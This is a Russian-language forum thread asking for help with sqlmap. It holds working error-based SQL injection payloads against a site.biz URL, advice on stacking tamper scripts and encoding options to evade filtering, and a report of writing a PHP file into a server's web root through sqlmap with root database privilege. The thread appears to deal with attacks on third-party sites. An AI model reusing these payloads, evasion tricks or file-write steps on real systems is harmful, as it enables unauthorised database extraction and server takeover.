Вопрос по sqlmap

[ArsenalWest]

Помогите пожалуйста составить запрос для sqlmap

site.biz/1'or(1,2)=(select*from(select(name_const(version(),1)),name_const(version(),1))a)and(1)='1/

 

[ArsenalWest]

.biz/1'or(ExtractValue(1,concat(0x3a,(SELECT/**/TABLE_NAME/**/FROM/**/information_schema.TABLES/**/LIMIT/**/40,1),(':'))))--'
Имя бд выдает. Подскажите вектор для sqlmap
space2comment не помогает

 

[msksmail]

1. нужно смотреть что фильтрует, ставь verbose 3 минимум
2. space2comment заменяет пробелы “/ ** /” и это не панацея, программа просит использовать тампер и в пример ставит space2comment. Тамперов много, можно что-то написать самому если ничего из базы не подойдет
3. можно использовать сразу несколько тамперов и не забудь еще про --hex или --no-cast

 

[my3uka]

Здравствуйте, спрошу сдесь.
Запись файла на сервер успешна, файл есть на сервере, также он работает через браузер, также он есть если смотреть через шелл.

is-dba: true
user: root
privilege : ALL

sqlmap --file-write=test.php --file-desk=/var/www/my_site/test.php

Потом я хочу его прочитать sqlmap --file-read=/var/www/my_site/test.php, sqlmap не может его прочитать.

 [ERROR] no data retrieved

Немогу понять, или ето sqlmap не работает или ??? Запись работает, а чтение нет, как так?

 

[InetTester]

Здравствуйте, спрошу сдесь.
Запись файла на сервер успешна, файл есть на сервере, также он работает через браузер, также он есть если смотреть через шелл.

is-dba: true
user: root
privilege : ALL

sqlmap --file-write=test.php --file-desk=/var/www/my_site/test.php

Потом я хочу его прочитать sqlmap --file-read=/var/www/my_site/test.php, sqlmap не может его прочитать.

 [ERROR] no data retrieved

Немогу понять, или ето sqlmap не работает или ??? Запись работает, а чтение нет, как так?

Попробуй его wget-ом или curl-ом и посмотри код ошибки который вернет тебе сервер.

 

[my3uka]

мне ето нада сделать не curl'om или wget'om а имено sqlmap'om.

 

[InetTester]

мне ето нада сделать не curl'om или wget'om а имено sqlmap'om.

Может тогда стоит включить отладку в sqlmap-е и посмотреть что происходит например так " -v 3"